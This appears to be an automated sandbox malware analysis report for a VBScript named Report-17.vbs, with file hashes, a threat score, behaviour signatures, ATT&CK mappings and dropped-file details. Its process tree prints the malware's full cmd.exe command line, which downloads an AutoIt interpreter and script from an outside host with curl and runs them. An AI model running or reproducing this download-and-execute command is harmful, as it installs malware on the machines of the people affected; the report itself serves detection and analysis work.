34760421aeab439d359bc824909299390fa0a419ab8ddfb7822a16c75d07e59f

Analysis

max time kernel
117s
max time network
120s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
10/10/2023, 15:46

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General

Target

Report-17.vbs
Size

16KB
MD5

902d4e9234583e12da2d0078d37f5a30
SHA1

7ced5e82455bc1afc788ebf13170f76a219edea2
SHA256

5c084328ab45eb579d31c3157b0f486cbfea6ca0dfd89dda2084ace5745b9549
SHA512

8a0e61e9d3110de4aa10c63b60dd0ace4b3725915c3e20d225986f94c30bd4fe181e94bb21d2771c458b256bdea2028a24f4d6e56c012d46da6032175810c1da
SSDEEP

384:SzE0ig4KR/aQsKsWMnkf+cTPgKekvj27vmJYs:AJHsXkfNEKekvq7eJz

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	3020	WScript.exe
5	3020	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3020 wrote to memory of 2624	3020	WScript.exe	28
PID 3020 wrote to memory of 2624	3020	WScript.exe	28
PID 3020 wrote to memory of 2624	3020	WScript.exe	28

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Report-17.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3020
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cd /d %temp% & curl -o Autoit3.exe http://prestige-castom.com:2351 & curl -o ymehvz.au3 http://prestige-castom.com:2351/msirzgnzamg & Autoit3.exe ymehvz.au3
  2⤵
  PID:2624

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Cab3C57.tmp

Filesize
61KB

MD5
f3441b8572aae8801c04f3060b550443

SHA1
4ef0a35436125d6821831ef36c28ffaf196cda15

SHA256
6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf

SHA512
5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

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C:\Users\Admin\AppData\Local\Temp\Tar3CA8.tmp

Filesize
163KB

MD5
9441737383d21192400eca82fda910ec

SHA1
725e0d606a4fc9ba44aa8ffde65bed15e65367e4

SHA256
bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5

SHA512
7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf

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